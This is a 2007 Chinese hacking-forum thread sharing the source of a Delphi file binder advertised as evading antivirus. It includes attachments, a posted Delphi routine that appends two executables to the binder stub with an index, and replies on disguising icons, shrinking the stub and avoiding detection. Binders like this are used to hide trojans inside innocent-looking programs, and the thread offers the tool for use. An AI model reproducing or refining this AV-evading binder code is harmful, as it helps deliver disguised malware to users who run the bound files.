发新话题
打印

[原创]Delphi写的免杀捆绑器(开源代码)

[原创]Delphi写的免杀捆绑器(开源代码)

软件作者:seraph.x
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

注意:本软件首发Seraph's Blog,后由原创作者友情提交到邪恶八进制信息安全团队讨论组。转载请注明原始出处Seraph's Blog

借花献佛,原本是飞梦无痕写的东西,我修改了下,发布给同样想学习的朋友,感谢飞梦无痕的无私。

附件

nighter_box.rar (241 KB)

2007-1-23 02:28, 下载次数: 851

免杀捆绑器源代码.rar (103 KB)

2007-1-23 02:28, 下载次数: 819

为地震灾区的人们祈祷,一切都会重归美好。

TOP

要是加上可选择捆绑后的文件图标就完美了,呵呵!谢谢 收下了 [s:34]

TOP

捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?

还是利用指针,直接把文件的二进制数据写到另一文件的尾部?

[s:38] 偶蒙了
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

我用的捆绑器,捆绑后不修改文件图标能正常执行,修改图标就出问题,
请教是不是图标的32*32,256属性要改?

TOP

引用:
引用第2楼asm2007-01-24 05:30发表的:
捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?

还是利用指针,直接把文件的二进制数据写到另一文件的尾部?

[s:38] 偶蒙了
这个是附加数据到自己。

楼主你这样干生成的文件是不是也太大了点。。。,自己本身就400多k了。

建议你另做一个只包含必要功能的exe,除了windows什么都别use,文件操作可以用api。
然后作为资源包含进主exe。这样捆绑以后文件最多大20多K。

[s:52]
广告位招租。

TOP

引用:
引用第2楼asm2007-01-24 05:30发表的:
捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?

还是利用指针,直接把文件的二进制数据写到另一文件的尾部?

[s:38] 偶蒙了
直接把文件的二进制数据写到另一文件的尾部

[s:39]
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

引用:
引用第2楼asm2007-01-24 05:30发表的:
捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?

还是利用指针,直接把文件的二进制数据写到另一文件的尾部?

[s:38] 偶蒙了
既然你是学习asm语言为主的,强烈建议你看看microjoiner binder的代码,这个是开源的工程,网上能搜到代码,那才是经典的代码呢,不到2K的stub文件,功能暴多。
可惜我水平有限看不懂,只会修改修改免杀自己用。

TOP

- 分析文件....   
- 检查额外的数据......   
- 检查寄生(被注射)数据.....         

-> 发现 C4DC8h 额外的字节,开始补偿于 3D6C9h

那意味着:
文件包括额外的数据 806344 字节。
缩短大小约为 245 KB。

你可能现在尝试弄干净文件。                                    

- 尝试移动额外的数据           

-> 额外的数据被成功地移动。
偶的烂LOG :http://blog.yesky.com/Blog/yanfeics/

TOP

大家猜我用程序分离以后,出现什么结果?结果把捆绑程序给导出来了
偶的烂LOG :http://blog.yesky.com/Blog/yanfeics/

TOP

楼主的代码 在Button4Click 那里应该多加一个判断会好一些,检测用户是不是选择了保存路径,如果没有选择就跳提示信息。选择后才可执行下一步。下面是我修改了一下的结果;
if edit3.Text <> &#39;&#39; then
    begin
  // 初始化SelfFileInfo,FirstFileInfo,SecondFileInfo结构
    FillChar(SelfFileInfo, sizeof(TFilesInfo), #0);
    FillChar(FirstFileInfo, sizeof(TFilesInfo), #0);
    FillChar(SecondFileInfo, sizeof(TFilesInfo), #0);
    // 打开自身并读取
    MySelf := TFileStream.Create(Application.ExeName, fmOpenRead or fmShareDenyNone);
    // 获取自身文件大小
    SelfFileInfo.FileSize := MySelf.Size;
    SelfFileInfo.FileName := &#39;Bind&#39;; // 打上标志
    OutFile := TFileStream.Create(Edit3.Text, fmCreate or fmOpenWrite);
    // 将自身文件保存在输出文件的最前面
    OutFile.CopyFrom(MySelf, 0); // 第二个参数为0时表示复制整个内容
    // 关闭打开的自身文件
    MySelf.Free;
    // 打开第一个要捆绑的文件
    SourceFile := TFileStream.Create(Edit1.Text, fmOpenRead or fmShareDenyNone);
    // 获取第一个要捆绑文件的文件名及大小
    StrPCopy(FirstFileInfo.FileName, ExtractFileName(Edit1.Text));
    FirstFileInfo.FileSize := SourceFile.Size;
     // 将第一个文件的内容追加在输出文件后
    OutFile.CopyFrom(SourceFile, 0);
    // 关闭第一个文件
    SourceFile.Free;
    // 打开第二个要捆绑的文件
    SourceFile := TFileStream.Create(Edit2.Text, fmOpenRead or fmShareDenyNone);
    // 获取第二个要捆绑文件的文件名及大小
    StrPCopy(SecondFileInfo.FileName, ExtractFileName(Edit2.Text));
    SecondFileInfo.FileSize := SourceFile.Size;
     // 将第二个文件的内容追加在输出文件后
    OutFile.CopyFrom(SourceFile, 0);
     // 关闭第二个文件
     SourceFile.Free;
     // 将被捆绑文件信息写在输出文件未尾
      OutFile.Write(SelfFileInfo, sizeof(TFilesInfo));
      OutFile.Write(FirstFileInfo, sizeof(TFilesInfo));
      OutFile.Write(SecondFileInfo, sizeof(TFilesInfo));

  // 关闭输出文件完成捆绑
  OutFile.Free;
  MessageBox(Handle,&#39;捆绑完毕!&#39;,&#39;Nighter&#39;,MB_OK)
  end
  else
     Application.MessageBox(&#39;请选择要保存的路径&#39;,&#39;提示&#39;,MB_OK);

TOP

[s:36]  [s:36]  [s:36]
这方法不太好,捆绑后的程序不能压缩....
头部则是原程序,运行后分离后面的文件..
[s:39]  挨不了多久又杀了起来,而已体积太肥了...
希望楼主可以改进,期待... [s:37]

TOP

这个捆绑器捆绑文件后,用工具分离分离出3个文件, 捆绑工具一同被分离了出来,捆绑后的文件图标不能改成和被捆绑程序 ,不爽啊 ,不过还是感谢楼主的共享精神!

TOP

看看是当资源捆绑还是有两个pe头的那种

TOP

同样支持1楼的..带上选择图标..要不太容易被认出了.
而且好象..捆绑.的结果好象大了许多吧?最重要的是出现2个pe头...希望楼主改进..

TOP

六楼的大哥能说下MJ捆绑机怎么编译吗,我没有编译成功

TOP

捆绑的目的是什么呢?楼住咨询个问题,我想编个程序调用另一个程序而且要帮定在一块。可以实现吗?

TOP

捆绑后运行可执行文件要出错,弹出正在被使用的错误对话框。

TOP

没必要 我做的程序 只要增加几十K DELPHI 实现

TOP

捆绑后
文件怎么那么大
故事其实并没结束 只是我们在等待-----

TOP

下载一个,最近正好想学习学习呢~~

TOP

发新话题